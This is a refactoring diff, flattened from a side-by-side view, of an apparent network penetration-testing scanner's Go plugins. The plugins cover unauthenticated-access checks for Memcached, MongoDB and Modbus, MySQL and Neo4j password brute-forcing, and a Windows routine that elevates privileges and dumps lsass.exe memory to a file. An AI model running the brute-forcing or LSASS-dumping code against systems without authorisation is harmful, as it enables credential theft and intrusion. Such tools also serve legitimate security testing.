"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"strings" "strings"
"time" "time"
) )
@ -16,22 +17,22 @@ type MemcachedScanResult struct {
} }
// MemcachedScan 检测Memcached未授权访问 // MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error { func MemcachedScan(info *common.HostInfo) error {
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost)) common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
// 尝试连接并检查未授权访问 // 尝试连接并检查未授权访问
result := tryMemcachedConnection(ctx, info, Common.Timeout) result := tryMemcachedConnection(ctx, info, common.Timeout)
if result.Success { if result.Success {
// 保存成功结果 // 保存成功结果
scanResult := &Common.ScanResult{ scanResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -42,26 +43,26 @@ func MemcachedScan(info *Common.HostInfo) error {
"stats": result.Stats, "stats": result.Stats,
}, },
} }
Common.SaveResult(scanResult) common.SaveResult(scanResult)
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost)) common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
} }
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
if ctx.Err() == context.DeadlineExceeded { if ctx.Err() == context.DeadlineExceeded {
Common.LogDebug("Memcached扫描全局超时") common.LogDebug("Memcached扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
} }
default: default:
} }
Common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost)) common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
return result.Error return result.Error
} }
// tryMemcachedConnection 尝试连接Memcached并检查未授权访问 // tryMemcachedConnection 尝试连接Memcached并检查未授权访问
func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64) *MemcachedScanResult { func tryMemcachedConnection(ctx context.Context, info *common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(timeoutSeconds) * time.Second timeout := time.Duration(timeoutSeconds) * time.Second
@ -82,7 +83,7 @@ func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutS
} }
// 建立TCP连接 // 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout) client, err := common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil { if err != nil {
result.Error = err result.Error = err
select { select {

View File

@ -4,7 +4,7 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"golang.org/x/sys/windows" "golang.org/x/sys/windows"
"os" "os"
"path/filepath" "path/filepath"
@ -276,33 +276,33 @@ func IsAdmin() bool {
return err == nil && member return err == nil && member
} }
func MiniDump(info *Common.HostInfo) (err error) { func MiniDump(info *common.HostInfo) (err error) {
// 先检查管理员权限 // 先检查管理员权限
if !IsAdmin() { if !IsAdmin() {
Common.LogError("需要管理员权限才能执行此操作") common.LogError("需要管理员权限才能执行此操作")
return fmt.Errorf("需要管理员权限才能执行此操作") return fmt.Errorf("需要管理员权限才能执行此操作")
} }
pm, err := NewProcessManager() pm, err := NewProcessManager()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err)) common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
return fmt.Errorf("初始化进程管理器失败: %v", err) return fmt.Errorf("初始化进程管理器失败: %v", err)
} }
// 查找 lsass.exe // 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe") pid, err := pm.FindProcess("lsass.exe")
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查找进程失败: %v", err)) common.LogError(fmt.Sprintf("查找进程失败: %v", err))
return fmt.Errorf("查找进程失败: %v", err) return fmt.Errorf("查找进程失败: %v", err)
} }
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid)) common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
// 提升权限 // 提升权限
if err := pm.ElevatePrivileges(); err != nil { if err := pm.ElevatePrivileges(); err != nil {
Common.LogError(fmt.Sprintf("提升权限失败: %v", err)) common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return fmt.Errorf("提升权限失败: %v", err) return fmt.Errorf("提升权限失败: %v", err)
} }
Common.LogSuccess("成功提升进程权限") common.LogSuccess("成功提升进程权限")
// 创建输出路径 // 创建输出路径
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid)) outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
@ -310,10 +310,10 @@ func MiniDump(info *Common.HostInfo) (err error) {
// 执行转储 // 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil { if err := pm.DumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath) os.Remove(outputPath)
Common.LogError(fmt.Sprintf("进程转储失败: %v", err)) common.LogError(fmt.Sprintf("进程转储失败: %v", err))
return fmt.Errorf("进程转储失败: %v", err) return fmt.Errorf("进程转储失败: %v", err)
} }
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath)) common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
return nil return nil
} }

View File

@ -2,8 +2,9 @@
package Plugins package Plugins
import "github.com/shadow1ng/fscan/Common" import "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
func MiniDump(info *Common.HostInfo) (err error) { func MiniDump(info *common.HostInfo) (err error) {
return nil return nil
} }

View File

@ -6,7 +6,8 @@ import (
"fmt" "fmt"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// ModbusScanResult 表示 Modbus 扫描结果 // ModbusScanResult 表示 Modbus 扫描结果
@ -17,16 +18,16 @@ type ModbusScanResult struct {
} }
// ModbusScan 执行 Modbus 服务扫描 // ModbusScan 执行 Modbus 服务扫描
func ModbusScan(info *Common.HostInfo) error { func ModbusScan(info *common.HostInfo) error {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports) target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target)) common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 执行扫描 // 执行扫描
result := tryModbusScan(ctx, info, Common.Timeout, Common.MaxRetries) result := tryModbusScan(ctx, info, common.Timeout, common.MaxRetries)
if result.Success { if result.Success {
// 保存扫描结果 // 保存扫描结果
@ -37,20 +38,20 @@ func ModbusScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Modbus 扫描全局超时") common.LogDebug("Modbus 扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
if result.Error != nil { if result.Error != nil {
Common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error)) common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
return result.Error return result.Error
} }
Common.LogDebug("Modbus 扫描完成,未发现服务") common.LogDebug("Modbus 扫描完成,未发现服务")
return nil return nil
} }
} }
// tryModbusScan 尝试单个 Modbus 扫描 // tryModbusScan 尝试单个 Modbus 扫描
func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult { func tryModbusScan(ctx context.Context, info *common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
var lastErr error var lastErr error
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
target := fmt.Sprintf("%s:%s", host, port) target := fmt.Sprintf("%s:%s", host, port)
@ -64,7 +65,7 @@ func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds in
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target)) common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -77,7 +78,7 @@ func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds in
// 在协程中执行扫描 // 在协程中执行扫描
go func() { go func() {
// 尝试建立连接 // 尝试建立连接
conn, err := Common.WrapperTcpWithContext(connCtx, "tcp", target) conn, err := common.WrapperTcpWithContext(connCtx, "tcp", target)
if err != nil { if err != nil {
select { select {
case <-connCtx.Done(): case <-connCtx.Done():
@ -171,7 +172,7 @@ func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds in
lastErr = result.Error lastErr = result.Error
if result.Error != nil { if result.Error != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(result.Error); retryErr == nil { if retryErr := common.CheckErrs(result.Error); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -249,11 +250,11 @@ func parseModbusResponse(response []byte) string {
} }
// saveModbusResult 保存Modbus扫描结果 // saveModbusResult 保存Modbus扫描结果
func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanResult) { func saveModbusResult(info *common.HostInfo, target string, result *ModbusScanResult) {
// 保存扫描结果 // 保存扫描结果
scanResult := &Common.ScanResult{ scanResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -263,11 +264,11 @@ func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanRe
"device_info": result.DeviceInfo, "device_info": result.DeviceInfo,
}, },
} }
Common.SaveResult(scanResult) common.SaveResult(scanResult)
// 控制台输出 // 控制台输出
Common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target)) common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
if result.DeviceInfo != "" { if result.DeviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo)) common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
} }
} }

View File

@ -7,20 +7,21 @@ import (
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// MongodbScan 执行MongoDB未授权扫描 // MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error { func MongodbScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%s:%v", info.Host, info.Ports) target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target)) common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 创建结果通道 // 创建结果通道
@ -46,16 +47,16 @@ func MongodbScan(info *Common.HostInfo) error {
case result := <-resultChan: case result := <-resultChan:
if result.err != nil { if result.err != nil {
errlog := fmt.Sprintf("MongoDB %v %v", target, result.err) errlog := fmt.Sprintf("MongoDB %v %v", target, result.err)
Common.LogError(errlog) common.LogError(errlog)
return result.err return result.err
} else if result.isUnauth { } else if result.isUnauth {
// 记录控制台输出 // 记录控制台输出
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target)) common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
// 保存未授权访问结果 // 保存未授权访问结果
scanResult := &Common.ScanResult{ scanResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -65,55 +66,55 @@ func MongodbScan(info *Common.HostInfo) error {
"protocol": "mongodb", "protocol": "mongodb",
}, },
} }
Common.SaveResult(scanResult) common.SaveResult(scanResult)
} else { } else {
Common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target)) common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target)) common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
} }
} }
// MongodbUnauth 检测MongoDB未授权访问 // MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, error) { func MongodbUnauth(ctx context.Context, info *common.HostInfo) (bool, error) {
msgPacket := createOpMsgPacket() msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket() queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost)) common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
// 尝试OP_MSG查询 // 尝试OP_MSG查询
Common.LogDebug("尝试使用OP_MSG协议") common.LogDebug("尝试使用OP_MSG协议")
reply, err := checkMongoAuth(ctx, realhost, msgPacket) reply, err := checkMongoAuth(ctx, realhost, msgPacket)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err)) common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
// 失败则尝试OP_QUERY查询 // 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(ctx, realhost, queryPacket) reply, err = checkMongoAuth(ctx, realhost, queryPacket)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err)) common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
return false, err return false, err
} }
} }
// 检查响应结果 // 检查响应结果
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply))) common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
if strings.Contains(reply, "totalLinesWritten") { if strings.Contains(reply, "totalLinesWritten") {
Common.LogDebug("响应中包含totalLinesWritten确认未授权访问") common.LogDebug("响应中包含totalLinesWritten确认未授权访问")
return true, nil return true, nil
} }
Common.LogDebug("响应未包含预期内容,可能需要认证") common.LogDebug("响应未包含预期内容,可能需要认证")
return false, nil return false, nil
} }
// checkMongoAuth 检查MongoDB认证状态 // checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) { func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
Common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address)) common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
// 使用带超时的连接 // 使用带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", address, time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return "", fmt.Errorf("连接失败: %v", err) return "", fmt.Errorf("连接失败: %v", err)
} }
@ -127,12 +128,12 @@ func checkMongoAuth(ctx context.Context, address string, packet []byte) (string,
} }
// 设置读写超时 // 设置读写超时
if err := conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { if err := conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
return "", fmt.Errorf("设置超时失败: %v", err) return "", fmt.Errorf("设置超时失败: %v", err)
} }
// 发送查询包 // 发送查询包
Common.LogDebug("发送查询包") common.LogDebug("发送查询包")
if _, err := conn.Write(packet); err != nil { if _, err := conn.Write(packet); err != nil {
return "", fmt.Errorf("发送查询失败: %v", err) return "", fmt.Errorf("发送查询失败: %v", err)
} }
@ -145,7 +146,7 @@ func checkMongoAuth(ctx context.Context, address string, packet []byte) (string,
} }
// 读取响应 // 读取响应
Common.LogDebug("读取响应") common.LogDebug("读取响应")
reply := make([]byte, 2048) reply := make([]byte, 2048)
count, err := conn.Read(reply) count, err := conn.Read(reply)
if err != nil && err != io.EOF { if err != nil && err != io.EOF {
@ -156,7 +157,7 @@ func checkMongoAuth(ctx context.Context, address string, packet []byte) (string,
return "", fmt.Errorf("收到空响应") return "", fmt.Errorf("收到空响应")
} }
Common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count)) common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
return string(reply[:count]), nil return string(reply[:count]), nil
} }

View File

@ -10,7 +10,8 @@ import (
"time" "time"
"github.com/go-sql-driver/mysql" "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// MySQLProxyDialer 自定义dialer结构体 // MySQLProxyDialer 自定义dialer结构体
@ -20,14 +21,14 @@ type MySQLProxyDialer struct {
// Dial 实现mysql.Dialer接口支持socks代理 // Dial 实现mysql.Dialer接口支持socks代理
func (d *MySQLProxyDialer) Dial(ctx context.Context, addr string) (net.Conn, error) { func (d *MySQLProxyDialer) Dial(ctx context.Context, addr string) (net.Conn, error) {
return Common.WrapperTcpWithContext(ctx, "tcp", addr) return common.WrapperTcpWithContext(ctx, "tcp", addr)
} }
// registerMySQLDialer 注册MySQL自定义dialer // registerMySQLDialer 注册MySQL自定义dialer
func registerMySQLDialer() { func registerMySQLDialer() {
// 创建自定义dialer // 创建自定义dialer
dialer := &MySQLProxyDialer{ dialer := &MySQLProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond, timeout: time.Duration(common.Timeout) * time.Millisecond,
} }
// 注册自定义dialer到go-sql-driver/mysql // 注册自定义dialer到go-sql-driver/mysql
@ -50,22 +51,22 @@ type MySQLScanResult struct {
} }
// MysqlScan 执行MySQL服务扫描 // MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) error { func MysqlScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []MySQLCredential var credentials []MySQLCredential
for _, user := range Common.Userdict["mysql"] { for _, user := range common.Userdict["mysql"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, MySQLCredential{ credentials = append(credentials, MySQLCredential{
Username: user, Username: user,
@ -74,11 +75,11 @@ func MysqlScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["mysql"]), len(Common.Passwords), len(credentials))) len(common.Userdict["mysql"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentMySQLScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentMySQLScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveMySQLResult(info, target, result.Credential) saveMySQLResult(info, target, result.Credential)
@ -88,18 +89,18 @@ func MysqlScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("MySQL扫描全局超时") common.LogDebug("MySQL扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentMySQLScan 并发扫描MySQL服务 // concurrentMySQLScan 并发扫描MySQL服务
func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult { func concurrentMySQLScan(ctx context.Context, info *common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -145,7 +146,7 @@ func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -166,14 +167,14 @@ func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("MySQL并发扫描全局超时") common.LogDebug("MySQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryMySQLCredential 尝试单个MySQL凭据 // tryMySQLCredential 尝试单个MySQL凭据
func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult { func tryMySQLCredential(ctx context.Context, info *common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -186,7 +187,7 @@ func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential M
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -210,7 +211,7 @@ func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential M
} }
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -225,13 +226,13 @@ func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential M
} }
// MysqlConn 尝试MySQL连接 // MysqlConn 尝试MySQL连接
func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func MysqlConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
// 检查是否需要使用socks代理 // 检查是否需要使用socks代理
var connStr string var connStr string
if Common.Socks5Proxy != "" { if common.Socks5Proxy != "" {
// 注册自定义dialer // 注册自定义dialer
registerMySQLDialer() registerMySQLDialer()
@ -322,14 +323,14 @@ func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
} }
// saveMySQLResult 保存MySQL扫描结果 // saveMySQLResult 保存MySQL扫描结果
func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCredential) { func saveMySQLResult(info *common.HostInfo, target string, credential MySQLCredential) {
successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password) successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -340,5 +341,5 @@ func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCrede
"type": "weak-password", "type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -8,7 +8,8 @@ import (
"time" "time"
"github.com/neo4j/neo4j-go-driver/v4/neo4j" "github.com/neo4j/neo4j-go-driver/v4/neo4j"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// Neo4jCredential 表示一个Neo4j凭据 // Neo4jCredential 表示一个Neo4j凭据
@ -26,16 +27,16 @@ type Neo4jScanResult struct {
IsDefaultCreds bool IsDefaultCreds bool
} }
func Neo4jScan(info *Common.HostInfo) error { func Neo4jScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 初始检查列表 - 无认证和默认凭证 // 初始检查列表 - 无认证和默认凭证
@ -45,11 +46,11 @@ func Neo4jScan(info *Common.HostInfo) error {
} }
// 先检查无认证和默认凭证 // 先检查无认证和默认凭证
Common.LogDebug("尝试默认凭证...") common.LogDebug("尝试默认凭证...")
for _, credential := range initialCredentials { for _, credential := range initialCredentials {
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
result := tryNeo4jCredential(ctx, info, credential, Common.Timeout, 1) result := tryNeo4jCredential(ctx, info, credential, common.Timeout, 1)
if result.Success { if result.Success {
// 标记结果类型 // 标记结果类型
if credential.Username == "" && credential.Password == "" { if credential.Username == "" && credential.Password == "" {
@ -66,8 +67,8 @@ func Neo4jScan(info *Common.HostInfo) error {
// 构建凭据列表 // 构建凭据列表
var credentials []Neo4jCredential var credentials []Neo4jCredential
for _, user := range Common.Userdict["neo4j"] { for _, user := range common.Userdict["neo4j"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, Neo4jCredential{ credentials = append(credentials, Neo4jCredential{
Username: user, Username: user,
@ -76,11 +77,11 @@ func Neo4jScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["neo4j"]), len(Common.Passwords), len(credentials))) len(common.Userdict["neo4j"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentNeo4jScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentNeo4jScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveNeo4jResult(info, target, result) saveNeo4jResult(info, target, result)
@ -90,18 +91,18 @@ func Neo4jScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
